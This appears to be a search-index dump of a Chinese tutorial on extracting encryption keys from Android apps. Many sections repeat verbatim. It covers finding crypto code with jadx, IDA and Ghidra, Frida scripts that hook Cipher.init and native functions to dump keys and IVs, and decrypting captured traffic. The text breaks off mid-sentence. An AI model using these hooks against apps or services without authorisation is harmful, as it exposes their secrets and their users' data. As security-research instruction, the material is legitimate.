-i -E \"openssl|crypto|encrypt|aes|rsa\" # 或使用 rabin2 分析 rabin2 -z app_unzipped/lib/arm64-v8a/libnative.so | grep -i encrypt ","date":"2025-04-07","objectID":"/reverse_engineering/android/01-recipes/network/crypto_analysis/:4:1","tags":["RSA","加密分析","Hook","DEX","IDA Pro","反混淆"],"title":"分析并提取 Android 应用的加密密钥","uri":"/reverse_engineering/android/01-recipes/network/crypto_analysis/#第-1-步识别加密算法5-分钟"},{"categories":null,"collections":null,"content":"第 1 步：识别加密算法（5 分钟） 1.1 搜索特征字符串 用 jadx-gui 打开 APK，全局搜索： # 对称加密 AES DES 3DES # 非对称加密 RSA ECC # 哈希算法 MD5 SHA SHA256 HMAC # 加密模式 ECB CBC CTR GCM # Padding PKCS5Padding PKCS7Padding # 编码 Base64 1.2 搜索 Java 加密 API // Java 层加密 API javax.crypto.Cipher javax.crypto.spec.SecretKeySpec javax.crypto.spec.IvParameterSpec javax.crypto.Mac java.security.Signature java.security.MessageDigest // Base64 编码 android.util.Base64 java.util.Base64 1.3 检查 Native 层加密 # 解压 APK unzip app.apk -d app_unzipped # 搜索 .so 文件中的加密库 strings app_unzipped/lib/*/lib*.so | grep -i -E \"openssl|crypto|encrypt|aes|rsa\" # 或使用 rabin2 分析 rabin2 -z app_unzipped/lib/arm64-v8a/libnative.so | grep -i encrypt ","date":"2025-04-07","objectID":"/reverse_engineering/android/01-recipes/network/crypto_analysis/:4:1","tags":["RSA","加密分析","Hook","DEX","IDA Pro","反混淆"],"title":"分析并提取 Android 应用的加密密钥","uri":"/reverse_engineering/android/01-recipes/network/crypto_analysis/#11-搜索特征字符串"},{"categories":null,"collections":null,"content":"第 1 步：识别加密算法（5 分钟） 1.1 搜索特征字符串 用 jadx-gui 打开 APK，全局搜索： # 对称加密 AES DES 3DES # 非对称加密 RSA ECC # 哈希算法 MD5 SHA SHA256 HMAC # 加密模式 ECB CBC CTR GCM # Padding PKCS5Padding PKCS7Padding # 编码 Base64 1.2 搜索 Java 加密 API // Java 层加密 API javax.crypto.Cipher javax.crypto.spec.SecretKeySpec javax.crypto.spec.IvParameterSpec javax.crypto.Mac java.security.Signature java.security.MessageDigest // Base64 编码 android.util.Base64 java.util.Base64 1.3 检查 Native 层加密 # 解压 APK unzip app.apk -d app_unzipped # 搜索 .so 文件中的加密库 strings app_unzipped/lib/*/lib*.so | grep -i -E \"openssl|crypto|encrypt|aes|rsa\" # 或使用 rabin2 分析 rabin2 -z app_unzipped/lib/arm64-v8a/libnative.so | grep -i encrypt ","date":"2025-04-07","objectID":"/reverse_engineering/android/01-recipes/network/crypto_analysis/:4:1","tags":["RSA","加密分析","Hook","DEX","IDA Pro","反混淆"],"title":"分析并提取 Android 应用的加密密钥","uri":"/reverse_engineering/android/01-recipes/network/crypto_analysis/#12-搜索-java-加密-api"},{"categories":null,"collections":null,"content":"第 1 步：识别加密算法（5 分钟） 1.1 搜索特征字符串 用 jadx-gui 打开 APK，全局搜索： # 对称加密 AES DES 3DES # 非对称加密 RSA ECC # 哈希算法 MD5 SHA SHA256 HMAC # 加密模式 ECB CBC CTR GCM # Padding PKCS5Padding PKCS7Padding # 编码 Base64 1.2 搜索 Java 加密 API // Java 层加密 API javax.crypto.Cipher javax.crypto.spec.SecretKeySpec javax.crypto.spec.IvParameterSpec javax.crypto.Mac java.security.Signature java.security.MessageDigest // Base64 编码 android.util.Base64 java.util.Base64 1.3 检查 Native 层加密 # 解压 APK unzip app.apk -d app_unzipped # 搜索 .so 文件中的加密库 strings app_unzipped/lib/*/lib*.so | grep -i -E \"openssl|crypto|encrypt|aes|rsa\" # 或使用 rabin2 分析 rabin2 -z app_unzipped/lib/arm64-v8a/libnative.so | grep -i encrypt ","date":"2025-04-07","objectID":"/reverse_engineering/android/01-recipes/network/crypto_analysis/:4:1","tags":["RSA","加密分析","Hook","DEX","IDA Pro","反混淆"],"title":"分析并提取 Android 应用的加密密钥","uri":"/reverse_engineering/android/01-recipes/network/crypto_analysis/#13-检查-native-层加密"},{"categories":null,"collections":null,"content":"第 2 步：定位加密代码（10 分钟） 2.1 跟踪加密字符串 假设你搜到了 AES/CBC/PKCS5Padding： 在 jadx 中点击这个字符串 查看交叉引用（X 键或右键 → Find Usage） 跳转到使用这个字符串的函数 典型代码模式： // 你可能会看到类似这样的代码 public static String encrypt(String plaintext) { Cipher cipher = Cipher.getInstance(\"AES/CBC/PKCS5Padding\"); SecretKeySpec key = new SecretKeySpec(KEY_BYTES, \"AES\"); IvParameterSpec iv = new IvParameterSpec(IV_BYTES); cipher.init(Cipher.ENCRYPT_MODE, key, iv); byte[] encrypted = cipher.doFinal(plaintext.getBytes()); return Base64.encodeToString(encrypted, Base64.DEFAULT); } 记录关键信息： 密钥变量: KEY_BYTES IV 变量: IV_BYTES 加密函数: com.example.app.CryptoUtils.encrypt() ","date":"2025-04-07","objectID":"/reverse_engineering/android/01-recipes/network/crypto_analysis/:4:2","tags":["RSA","加密分析","Hook","DEX","IDA Pro","反混淆"],"title":"分析并提取 Android 应用的加密密钥","uri":"/reverse_engineering/android/01-recipes/network/crypto_analysis/#第-2-步定位加密代码10-分钟"},{"categories":null,"collections":null,"content":"第 2 步：定位加密代码（10 分钟） 2.1 跟踪加密字符串 假设你搜到了 AES/CBC/PKCS5Padding： 在 jadx 中点击这个字符串 查看交叉引用（X 键或右键 → Find Usage） 跳转到使用这个字符串的函数 典型代码模式： // 你可能会看到类似这样的代码 public static String encrypt(String plaintext) { Cipher cipher = Cipher.getInstance(\"AES/CBC/PKCS5Padding\"); SecretKeySpec key = new SecretKeySpec(KEY_BYTES, \"AES\"); IvParameterSpec iv = new IvParameterSpec(IV_BYTES); cipher.init(Cipher.ENCRYPT_MODE, key, iv); byte[] encrypted = cipher.doFinal(plaintext.getBytes()); return Base64.encodeToString(encrypted, Base64.DEFAULT); } 记录关键信息： 密钥变量: KEY_BYTES IV 变量: IV_BYTES 加密函数: com.example.app.CryptoUtils.encrypt() ","date":"2025-04-07","objectID":"/reverse_engineering/android/01-recipes/network/crypto_analysis/:4:2","tags":["RSA","加密分析","Hook","DEX","IDA Pro","反混淆"],"title":"分析并提取 Android 应用的加密密钥","uri":"/reverse_engineering/android/01-recipes/network/crypto_analysis/#21-跟踪加密字符串"},{"categories":null,"collections":null,"content":"第 3 步：找到密钥位置（10 分钟） 📍 位置 1: Java 代码硬编码（难度：低） 查找方法： // 搜索关键词 SecretKeySpec byte[] key private static final byte[] 示例： private static final byte[] KEY = { 0x12, 0x34, 0x56, 0x78, 0x9a, 0xbc, 0xde, 0xf0, // ... 16/24/32 字节 }; 密钥长度： AES-128: 16 字节 AES-192: 24 字节 AES-256: 32 字节 📍 位置 2: 资源文件（难度：低） 查找路径： # 检查 assets 目录 ls app_unzipped/assets/ # 检查 res/raw ls app_unzipped/res/raw/ # 搜索二进制文件 find app_unzipped -type f -exec file {} \\; | grep data 常见文件名： secret.key config.dat license.bin 📍 位置 3: Native (.so) 硬编码（难度：中） IDA Pro 分析： 打开 .so 文件 跳转到 Strings 窗口 (Shift+F12) 搜索关键字符串 查看交叉引用找到使用密钥的函数 Ghidra 分析： 导入 .so 文件 搜索 → For Strings 筛选长度为 16/24/32 的可疑字符串 📍 位置 4: 动态生成（难度：高） 特征：密钥通过算法计算，常见方式： // 基于设备信息生成 String deviceId = getDeviceId(); byte[] key = MD5(deviceId + SALT); // 基于时间戳 long timestamp = System.currentTimeMillis(); byte[] key = HMACSHA256(timestamp, SECRET); 从服务器获取： 启动时从服务器获取密钥 可能经过 RSA 加密传输 对策： 抓包查看密钥传输 Hook 网络请求获取密钥 或直接 Hook 加密函数（密钥已在内存中） ","date":"2025-04-07","objectID":"/reverse_engineering/android/01-recipes/network/crypto_analysis/:4:3","tags":["RSA","加密分析","Hook","DEX","IDA Pro","反混淆"],"title":"分析并提取 Android 应用的加密密钥","uri":"/reverse_engineering/android/01-recipes/network/crypto_analysis/#第-3-步找到密钥位置10-分钟"},{"categories":null,"collections":null,"content":"第 4 步：动态提取密钥（15 分钟） 终极方法：无论密钥藏在哪，只要加密函数被调用，Hook 就能抓到 4.1 Hook Java 层加密 通用 AES Hook 脚本 dump_aes_key.js： Java.perform(function () { console.log(\"\\n[Crypto Hook] 启动\\n\"); // Hook Cipher.init var Cipher = Java.use(\"javax.crypto.Cipher\"); Cipher.init.overload( \"int\", \"java.security.Key\", \"java.security.spec.AlgorithmParameterSpec\" ).implementation = function (opmode, key, spec) { console.log(\"\\n🔐 [Cipher.init] 捕获!\"); // 模式 var mode = opmode == 1 ? \"ENCRYPT\" : \"DECRYPT\"; console.log(\" 模式: \" + mode); // 算法 console.log(\" 算法: \" + this.getAlgorithm()); // 提取密钥 try { var secretKey = Java.cast( key, Java.use(\"javax.crypto.spec.SecretKeySpec\") ); var keyBytes = secretKey.getEncoded(); var Base64 = Java.use(\"android.util.Base64\"); console.log(\" 密钥 (Base64): \" + Base64.encodeToString(keyBytes, 0)); console.log(\" 密钥 (Hex): \" + bytesToHex(keyBytes)); } catch (e) { console.log(\" 密钥类型: \" + key.$className); } // 提取 IV if (spec) { try { var ivSpec = Java.cast( spec, Java.use(\"javax.crypto.spec.IvParameterSpec\") ); var ivBytes = ivSpec.getIV(); console.log(\" IV (Hex): \" + bytesToHex(ivBytes)); } catch (e) {} } return this.init(opmode, key, spec); }; // Hook Cipher.doFinal Cipher.doFinal.overload(\"[B\").implementation = function (input) { var result = this.doFinal(input); console.log(\"\\n📦 [Cipher.doFinal] 捕获!\"); console.log(\" 输入长度: \" + input.length); console.log(\" 输出长度: \" + result.length); console.log(\" 输入数据 (前32字节): \" + bytesToHex(input.slice(0, 32))); console.log(\" 输出数据 (前32字节): \" + bytesToHex(result.slice(0, 32))); return result; }; function bytesToHex(bytes) { var hex = []; for (var i = 0; i \u003c bytes.length \u0026\u0026 i \u003c 32; i++) { hex.push((\"0\" + (bytes[i] \u0026 0xff).toString(16)).slice(-2)); } return hex.join(\" \"); } console.log(\"✅ [Crypto Hook] 配置完成\\n\"); }); 运行脚本： frida -U -f com.example.app -l dump_aes_key.js 预期输出： 🔐 [Cipher.init] 捕获! 模式: ENCRYPT 算法: AES/CBC/PKCS5Padding 密钥 (Base64): MTIzNDU2Nzg5MGFiY2RlZg== 密钥 (Hex): 31 32 33 34 35 36 37 38 39 30 61 62 63 64 65 66 IV (Hex): 66 65 64 63 62 61 30 39 38 37 36 35 34 33 32 31 📦 [Cipher.doFinal] 捕获! 输入长度: 128 输出长度: 144 输入数据 (前32字节): 7b 22 75 73 65 72 6e 61 6d 65 22 3a ... 输出数据 (前32字节): a3 b2 c1 d0 e4 f5 ... 4.2 Hook Native 层加密 查找 Native 加密函数： # 使用 nm 查看函数 nm -D libnative.so | grep -i encrypt # 使用 Frida frida -U -f com.example.app \u003e Module.enumerateExports('libnative.so').filter(e =\u003e e.name.includes('encrypt')) Hook Native 函数： Interceptor.attach( Module.findExportByName(\"libnative.so\", \"Java_com_example_Crypto_encrypt\"), { onEnter: function (args) { console.log(\"\\n[Native Encrypt] 调用!\"); // args[0] = JNIEnv* // args[1] = jclass // args[2] = 第一个参数（通常是明文） // args[3] = 第二个参数（可能是密钥） // 读取字符串参数 var plaintext = Java.vm .getEnv() .getStringUtfChars(args[2], null) .readCString(); console.log(\" 明文: \" + plaintext); // 保存指针用于后续读取 this.keyPtr = args[3]; }, onLeave: function (retval) { // retval 是返回值（密文） console.log(\" 返回值: \" + retval); }, } ); ","date":"2025-04-07","objectID":"/reverse_engineering/android/01-recipes/network/crypto_analysis/:4:4","tags":["RSA","加密分析","Hook","DEX","IDA Pro","反混淆"],"title":"分析并提取 Android 应用的加密密钥","uri":"/reverse_engineering/android/01-recipes/network/crypto_analysis/#第-4-步动态提取密钥15-分钟"},{"categories":null,"collections":null,"content":"第 4 步：动态提取密钥（15 分钟） 终极方法：无论密钥藏在哪，只要加密函数被调用，Hook 就能抓到 4.1 Hook Java 层加密 通用 AES Hook 脚本 dump_aes_key.js： Java.perform(function () { console.log(\"\\n[Crypto Hook] 启动\\n\"); // Hook Cipher.init var Cipher = Java.use(\"javax.crypto.Cipher\"); Cipher.init.overload( \"int\", \"java.security.Key\", \"java.security.spec.AlgorithmParameterSpec\" ).implementation = function (opmode, key, spec) { console.log(\"\\n🔐 [Cipher.init] 捕获!\"); // 模式 var mode = opmode == 1 ? \"ENCRYPT\" : \"DECRYPT\"; console.log(\" 模式: \" + mode); // 算法 console.log(\" 算法: \" + this.getAlgorithm()); // 提取密钥 try { var secretKey = Java.cast( key, Java.use(\"javax.crypto.spec.SecretKeySpec\") ); var keyBytes = secretKey.getEncoded(); var Base64 = Java.use(\"android.util.Base64\"); console.log(\" 密钥 (Base64): \" + Base64.encodeToString(keyBytes, 0)); console.log(\" 密钥 (Hex): \" + bytesToHex(keyBytes)); } catch (e) { console.log(\" 密钥类型: \" + key.$className); } // 提取 IV if (spec) { try { var ivSpec = Java.cast( spec, Java.use(\"javax.crypto.spec.IvParameterSpec\") ); var ivBytes = ivSpec.getIV(); console.log(\" IV (Hex): \" + bytesToHex(ivBytes)); } catch (e) {} } return this.init(opmode, key, spec); }; // Hook Cipher.doFinal Cipher.doFinal.overload(\"[B\").implementation = function (input) { var result = this.doFinal(input); console.log(\"\\n📦 [Cipher.doFinal] 捕获!\"); console.log(\" 输入长度: \" + input.length); console.log(\" 输出长度: \" + result.length); console.log(\" 输入数据 (前32字节): \" + bytesToHex(input.slice(0, 32))); console.log(\" 输出数据 (前32字节): \" + bytesToHex(result.slice(0, 32))); return result; }; function bytesToHex(bytes) { var hex = []; for (var i = 0; i \u003c bytes.length \u0026\u0026 i \u003c 32; i++) { hex.push((\"0\" + (bytes[i] \u0026 0xff).toString(16)).slice(-2)); } return hex.join(\" \"); } console.log(\"✅ [Crypto Hook] 配置完成\\n\"); }); 运行脚本： frida -U -f com.example.app -l dump_aes_key.js 预期输出： 🔐 [Cipher.init] 捕获! 模式: ENCRYPT 算法: AES/CBC/PKCS5Padding 密钥 (Base64): MTIzNDU2Nzg5MGFiY2RlZg== 密钥 (Hex): 31 32 33 34 35 36 37 38 39 30 61 62 63 64 65 66 IV (Hex): 66 65 64 63 62 61 30 39 38 37 36 35 34 33 32 31 📦 [Cipher.doFinal] 捕获! 输入长度: 128 输出长度: 144 输入数据 (前32字节): 7b 22 75 73 65 72 6e 61 6d 65 22 3a ... 输出数据 (前32字节): a3 b2 c1 d0 e4 f5 ... 4.2 Hook Native 层加密 查找 Native 加密函数： # 使用 nm 查看函数 nm -D libnative.so | grep -i encrypt # 使用 Frida frida -U -f com.example.app \u003e Module.enumerateExports('libnative.so').filter(e =\u003e e.name.includes('encrypt')) Hook Native 函数： Interceptor.attach( Module.findExportByName(\"libnative.so\", \"Java_com_example_Crypto_encrypt\"), { onEnter: function (args) { console.log(\"\\n[Native Encrypt] 调用!\"); // args[0] = JNIEnv* // args[1] = jclass // args[2] = 第一个参数（通常是明文） // args[3] = 第二个参数（可能是密钥） // 读取字符串参数 var plaintext = Java.vm .getEnv() .getStringUtfChars(args[2], null) .readCString(); console.log(\" 明文: \" + plaintext); // 保存指针用于后续读取 this.keyPtr = args[3]; }, onLeave: function (retval) { // retval 是返回值（密文） console.log(\" 返回值: \" + retval); }, } ); ","date":"2025-04-07","objectID":"/reverse_engineering/android/01-recipes/network/crypto_analysis/:4:4","tags":["RSA","加密分析","Hook","DEX","IDA Pro","反混淆"],"title":"分析并提取 Android 应用的加密密钥","uri":"/reverse_engineering/android/01-recipes/network/crypto_analysis/#41-hook-java-层加密"},{"categories":null,"collections":null,"content":"第 4 步：动态提取密钥（15 分钟） 终极方法：无论密钥藏在哪，只要加密函数被调用，Hook 就能抓到 4.1 Hook Java 层加密 通用 AES Hook 脚本 dump_aes_key.js： Java.perform(function () { console.log(\"\\n[Crypto Hook] 启动\\n\"); // Hook Cipher.init var Cipher = Java.use(\"javax.crypto.Cipher\"); Cipher.init.overload( \"int\", \"java.security.Key\", \"java.security.spec.AlgorithmParameterSpec\" ).implementation = function (opmode, key, spec) { console.log(\"\\n🔐 [Cipher.init] 捕获!\"); // 模式 var mode = opmode == 1 ? \"ENCRYPT\" : \"DECRYPT\"; console.log(\" 模式: \" + mode); // 算法 console.log(\" 算法: \" + this.getAlgorithm()); // 提取密钥 try { var secretKey = Java.cast( key, Java.use(\"javax.crypto.spec.SecretKeySpec\") ); var keyBytes = secretKey.getEncoded(); var Base64 = Java.use(\"android.util.Base64\"); console.log(\" 密钥 (Base64): \" + Base64.encodeToString(keyBytes, 0)); console.log(\" 密钥 (Hex): \" + bytesToHex(keyBytes)); } catch (e) { console.log(\" 密钥类型: \" + key.$className); } // 提取 IV if (spec) { try { var ivSpec = Java.cast( spec, Java.use(\"javax.crypto.spec.IvParameterSpec\") ); var ivBytes = ivSpec.getIV(); console.log(\" IV (Hex): \" + bytesToHex(ivBytes)); } catch (e) {} } return this.init(opmode, key, spec); }; // Hook Cipher.doFinal Cipher.doFinal.overload(\"[B\").implementation = function (input) { var result = this.doFinal(input); console.log(\"\\n📦 [Cipher.doFinal] 捕获!\"); console.log(\" 输入长度: \" + input.length); console.log(\" 输出长度: \" + result.length); console.log(\" 输入数据 (前32字节): \" + bytesToHex(input.slice(0, 32))); console.log(\" 输出数据 (前32字节): \" + bytesToHex(result.slice(0, 32))); return result; }; function bytesToHex(bytes) { var hex = []; for (var i = 0; i \u003c bytes.length \u0026\u0026 i \u003c 32; i++) { hex.push((\"0\" + (bytes[i] \u0026 0xff).toString(16)).slice(-2)); } return hex.join(\" \"); } console.log(\"✅ [Crypto Hook] 配置完成\\n\"); }); 运行脚本： frida -U -f com.example.app -l dump_aes_key.js 预期输出： 🔐 [Cipher.init] 捕获! 模式: ENCRYPT 算法: AES/CBC/PKCS5Padding 密钥 (Base64): MTIzNDU2Nzg5MGFiY2RlZg== 密钥 (Hex): 31 32 33 34 35 36 37 38 39 30 61 62 63 64 65 66 IV (Hex): 66 65 64 63 62 61 30 39 38 37 36 35 34 33 32 31 📦 [Cipher.doFinal] 捕获! 输入长度: 128 输出长度: 144 输入数据 (前32字节): 7b 22 75 73 65 72 6e 61 6d 65 22 3a ... 输出数据 (前32字节): a3 b2 c1 d0 e4 f5 ... 4.2 Hook Native 层加密 查找 Native 加密函数： # 使用 nm 查看函数 nm -D libnative.so | grep -i encrypt # 使用 Frida frida -U -f com.example.app \u003e Module.enumerateExports('libnative.so').filter(e =\u003e e.name.includes('encrypt')) Hook Native 函数： Interceptor.attach( Module.findExportByName(\"libnative.so\", \"Java_com_example_Crypto_encrypt\"), { onEnter: function (args) { console.log(\"\\n[Native Encrypt] 调用!\"); // args[0] = JNIEnv* // args[1] = jclass // args[2] = 第一个参数（通常是明文） // args[3] = 第二个参数（可能是密钥） // 读取字符串参数 var plaintext = Java.vm .getEnv() .getStringUtfChars(args[2], null) .readCString(); console.log(\" 明文: \" + plaintext); // 保存指针用于后续读取 this.keyPtr = args[3]; }, onLeave: function (retval) { // retval 是返回值（密文） console.log(\" 返回值: \" + retval); }, } ); ","date":"2025-04-07","objectID":"/reverse_engineering/android/01-recipes/network/crypto_analysis/:4:4","tags":["RSA","加密分析","Hook","DEX","IDA Pro","反混淆"],"title":"分析并提取 Android 应用的加密密钥","uri":"/reverse_engineering/android/01-recipes/network/crypto_analysis/#42-hook-native-层加密"},{"categories":null,"collections":null,"content":"第 5 步：验证密钥（5 分钟） 5.1 使用 CyberChef 验证 打开 https://gchq.github.io/CyberChef/ 选择操作：AES Decrypt 输入： | 项目 | 说明 | | --- | --- | | **Key** (Hex) | `31 32 33 34 ...` | | **IV** (Hex) | `66 65 64 63 ...` | | **Mode** | `CBC` | | **Input** | 密文（Base64 或 Hex） | 点击 Bake! 如果解密成功，说明密钥正确！ 5.2 Python 脚本验证 from Crypto.Cipher import AES from Crypto.Util.Padding import unpad import base64 # 从 Frida 获取的密钥和 IV（Hex 转 bytes） key = bytes.fromhex('31323334353637383930616263646566') iv = bytes.fromhex('66656463626130393837363534333231') # 从抓包获取的密文 ciphertext = base64.b64decode('YWJjZGVmZ2hpamtsbW5vcA==') # 解密 cipher = AES.new(key, AES.MODE_CBC, iv) plaintext = unpad(cipher.decrypt(ciphertext), AES.block_size) print(\"解密结果:\", plaintext.decode()) 5.3 直接调用 App 的加密函数 Java.perform(function () { var CryptoUtils = Java.use(\"com.example.app.CryptoUtils\"); // 调用加密函数 var encrypted = CryptoUtils.encrypt(\"Hello World\"); console.log(\"加密结果: \" + encrypted); // 调用解密函数 var decrypted = CryptoUtils.decrypt(encrypted); console.log(\"解密结果: \" + decrypted); }); ","date":"2025-04-07","objectID":"/reverse_engineering/android/01-recipes/network/crypto_analysis/:4:5","tags":["RSA","加密分析","Hook","DEX","IDA Pro","反混淆"],"title":"分析并提取 Android 应用的加密密钥","uri":"/reverse_engineering/android/01-recipes/network/crypto_analysis/#第-5-步验证密钥5-分钟"},{"categories":null,"collections":null,"content":"第 5 步：验证密钥（5 分钟） 5.1 使用 CyberChef 验证 打开 https://gchq.github.io/CyberChef/ 选择操作：AES Decrypt 输入： | 项目 | 说明 | | --- | --- | | **Key** (Hex) | `31 32 33 34 ...` | | **IV** (Hex) | `66 65 64 63 ...` | | **Mode** | `CBC` | | **Input** | 密文（Base64 或 Hex） | 点击 Bake! 如果解密成功，说明密钥正确！ 5.2 Python 脚本验证 from Crypto.Cipher import AES from Crypto.Util.Padding import unpad import base64 # 从 Frida 获取的密钥和 IV（Hex 转 bytes） key = bytes.fromhex('31323334353637383930616263646566') iv = bytes.fromhex('66656463626130393837363534333231') # 从抓包获取的密文 ciphertext = base64.b64decode('YWJjZGVmZ2hpamtsbW5vcA==') # 解密 cipher = AES.new(key, AES.MODE_CBC, iv) plaintext = unpad(cipher.decrypt(ciphertext), AES.block_size) print(\"解密结果:\", plaintext.decode()) 5.3 直接调用 App 的加密函数 Java.perform(function () { var CryptoUtils = Java.use(\"com.example.app.CryptoUtils\"); // 调用加密函数 var encrypted = CryptoUtils.encrypt(\"Hello World\"); console.log(\"加密结果: \" + encrypted); // 调用解密函数 var decrypted = CryptoUtils.decrypt(encrypted); console.log(\"解密结果: \" + decrypted); }); ","date":"2025-04-07","objectID":"/reverse_engineering/android/01-recipes/network/crypto_analysis/:4:5","tags":["RSA","加密分析","Hook","DEX","IDA Pro","反混淆"],"title":"分析并提取 Android 应用的加密密钥","uri":"/reverse_engineering/android/01-recipes/network/crypto_analysis/#51-使用-cyberchef-验证"},{"categories":null,"collections":null,"content":"第 5 步：验证密钥（5 分钟） 5.1 使用 CyberChef 验证 打开 https://gchq.github.io/CyberChef/ 选择操作：AES Decrypt 输入： | 项目 | 说明 | | --- | --- | | **Key** (Hex) | `31 32 33 34 ...` | | **IV** (Hex) | `66 65 64 63 ...` | | **Mode** | `CBC` | | **Input** | 密文（Base64 或 Hex） | 点击 Bake! 如果解密成功，说明密钥正确！ 5.2 Python 脚本验证 from Crypto.Cipher import AES from Crypto.Util.Padding import unpad import base64 # 从 Frida 获取的密钥和 IV（Hex 转 bytes） key = bytes.fromhex('31323334353637383930616263646566') iv = bytes.fromhex('66656463626130393837363534333231') # 从抓包获取的密文 ciphertext = base64.b64decode('YWJjZGVmZ2hpamtsbW5vcA==') # 解密 cipher = AES.new(key, AES.MODE_CBC, iv) plaintext = unpad(cipher.decrypt(ciphertext), AES.block_size) print(\"解密结果:\", plaintext.decode()) 5.3 直接调用 App 的加密函数 Java.perform(function () { var CryptoUtils = Java.use(\"com.example.app.CryptoUtils\"); // 调用加密函数 var encrypted = CryptoUtils.encrypt(\"Hello World\"); console.log(\"加密结果: \" + encrypted); // 调用解密函数 var decrypted = CryptoUtils.decrypt(encrypted); console.log(\"解密结果: \" + decrypted); }); ","date":"2025-04-07","objectID":"/reverse_engineering/android/01-recipes/network/crypto_analysis/:4:5","tags":["RSA","加密分析","Hook","DEX","IDA Pro","反混淆"],"title":"分析并提取 Android 应用的加密密钥","uri":"/reverse_engineering/android/01-recipes/network/crypto_analysis/#52-python-脚本验证"},{"categories":null,"collections":null,"content":"第 5 步：验证密钥（5 分钟） 5.1 使用 CyberChef 验证 打开 https://gchq.github.io/CyberChef/ 选择操作：AES Decrypt 输入： | 项目 | 说明 | | --- | --- | | **Key** (Hex) | `31 32 33 34 ...` | | **IV** (Hex) | `66 65 64 63 ...` | | **Mode** | `CBC` | | **Input** | 密文（Base64 或 Hex） | 点击 Bake! 如果解密成功，说明密钥正确！ 5.2 Python 脚本验证 from Crypto.Cipher import AES from Crypto.Util.Padding import unpad import base64 # 从 Frida 获取的密钥和 IV（Hex 转 bytes） key = bytes.fromhex('31323334353637383930616263646566') iv = bytes.fromhex('66656463626130393837363534333231') # 从抓包获取的密文 ciphertext = base64.b64decode('YWJjZGVmZ2hpamtsbW5vcA==') # 解密 cipher = AES.new(key, AES.MODE_CBC, iv) plaintext = unpad(cipher.decrypt(ciphertext), AES.block_size) print(\"解密结果:\", plaintext.decode()) 5.3 直接调用 App 的加密函数 Java.perform(function () { var CryptoUtils = Java.use(\"com.example.app.CryptoUtils\"); // 调用加密函数 var encrypted = CryptoUtils.encrypt(\"Hello World\"); console.log(\"加密结果: \" + encrypted); // 调用解密函数 var decrypted = CryptoUtils.decrypt(encrypted); console.log(\"解密结果: \" + decrypted); }); ","date":"2025-04-07","objectID":"/reverse_engineering/android/01-recipes/network/crypto_analysis/:4:5","tags":["RSA","加密分析","Hook","DEX","IDA Pro","反混淆"],"title":"分析并提取 Android 应用的加密密钥","uri":"/reverse_engineering/android/01-recipes/network/crypto_analysis/#53-直接调用-app-的加密函数"},{"categories":null,"collections":null,"content":"工作原理 ","date":"2025-04-07","objectID":"/reverse_engineering/android/01-recipes/network/crypto_analysis/:5:0","tags":["RSA","加密分析","Hook","DEX","IDA Pro","反混淆"],"title":"分析并提取 Android 应用的加密密钥","uri":"/reverse_engineering/android/01-recipes/network/crypto_analysis/#工作原理"},{"categories":null,"collections":null,"content":"常见加密算法对照表 算法类型 算法 密钥长度 用途 对称加密 AES 128/192/256 bit 加密数据 DES 56 bit 旧标准（不安全） 3DES 168 bit DES 增强版 非对称加密 RSA 1024/2048/4096 bit 密钥交换、签名 ECC 256/384/521 bit RSA 的高效替代 哈希 MD5 128 bit 输出 校验（不安全） SHA-256 256 bit 输出 安全哈希 HMAC 可变 带密钥的哈希 ","date":"2025-04-07","objectID":"/reverse_engineering/android/01-recipes/network/crypto_analysis/:5:1","tags":["RSA","加密分析","Hook","DEX","IDA Pro","反混淆"],"title":"分析并提取 Android 应用的加密密钥","uri":"/reverse_engineering/android/01-recipes/network/crypto_analysis/#常见加密算法对照表"},{"categories":null,"collections":null,"content":"AES 加密流程 明文数据 ↓ [AES Encrypt] ← 使用密钥 + IV ↓ 密文数据 ↓ [Base64 Encode] ← 便于传输 ↓ 最终密文 ","date":"2025-04-07","objectID":"/reverse_engineering/android/01-recipes/network/crypto_analysis/:5:2","tags":["RSA","加密分析","Hook","DEX","IDA Pro","反混淆"],"title":"分析并提取 Android 应用的加密密钥","uri":"/reverse_engineering/android/01-recipes/network/crypto_analysis/#aes-加密流程"},{"categories":null,"collections":null,"content":"常见问题 ","date":"2025-04-07","objectID":"/reverse_engineering/android/01-recipes/network/crypto_analysis/:6:0","tags":["RSA","加密分析","Hook","DEX","IDA Pro","反混淆"],"title":"分析并提取 Android 应用的加密密钥","uri":"/reverse_engineering/android/01-recipes/network/crypto_analysis/#常见问题"},{"categories":null,"collections":null,"content":"❌ 问题 1: Hook 脚本不生效 症状：运行 Frida 脚本后没有任何输出 检查： 确认加密函数被调用了吗？ Java.use(\"javax.crypto.Cipher\").$init.overload().implementation = function () { console.log(\"[TEST] Cipher 实例化\"); return this.$init(); }; 加密是否在 Native 层？ 改用 Native Hook 类名可能被混淆 搜索所有包含 Cipher 的类： Java.enumerateLoadedClasses({ onMatch: function (className) { if (className.toLowerCase().includes(\"cipher\")) { console.log(className); } }, onComplete: function () {}, }); ","date":"2025-04-07","objectID":"/reverse_engineering/android/01-recipes/network/crypto_analysis/:6:1","tags":["RSA","加密分析","Hook","DEX","IDA Pro","反混淆"],"title":"分析并提取 Android 应用的加密密钥","uri":"/reverse_engineering/android/01-recipes/network/crypto_analysis/#-问题-1-hook-脚本不生效"},{"categories":null,"collections":null,"content":"❌ 问题 2: 解密失败 可能原因： IV 不正确 确认是否使用了 IV 某些实现会将 IV 附加在密文开头 Padding 不匹配 尝试不同的 Padding：PKCS5Padding, PKCS7Padding, NoPadding 编码问题 # 尝试不同编码 ciphertext = base64.b64decode(data) # Base64 ciphertext = bytes.fromhex(data) # Hex ciphertext = data.encode() # UTF-8 密钥派生 可能使用了 PBKDF2 等密钥派生函数 Hook SecretKeyFactory.generateSecret() 查看 ","date":"2025-04-07","objectID":"/reverse_engineering/android/01-recipes/network/crypto_analysis/:6:2","tags":["RSA","加密分析","Hook","DEX","IDA Pro","反混淆"],"title":"分析并提取 Android 应用的加密密钥","uri":"/reverse_engineering/android/01-recipes/network/crypto_analysis/#-问题-2-解密失败"},{"categories":null,"collections":null,"content":"❌ 问题 3: Native 函数找不到 症状：Module.findExportByName() 返回 null 解决： 函数可能未导出 # 查看所有符号（包括未导出） readelf -s libnative.so | grep encrypt 使用地址偏移 Hook var baseAddr = Module.findBaseAddress('libnative.so'); var funcAddr = baseAddr.add(0x1234); // 从 IDA 获取偏移 Interceptor.attach(funcAddr, { ... }); 动态注册的 JNI 方法 // Hook RegisterNatives var RegisterNatives = Module.findExportByName( \"libart.so\", \"_ZN3art3JNI15RegisterNativesEP7_JNIEnvP7_jclassPK15JNINativeMethodi\" ); Interceptor.attach(RegisterNatives, { onEnter: function (args) { var methods = ptr(args[2]); console.log(\"Register JNI 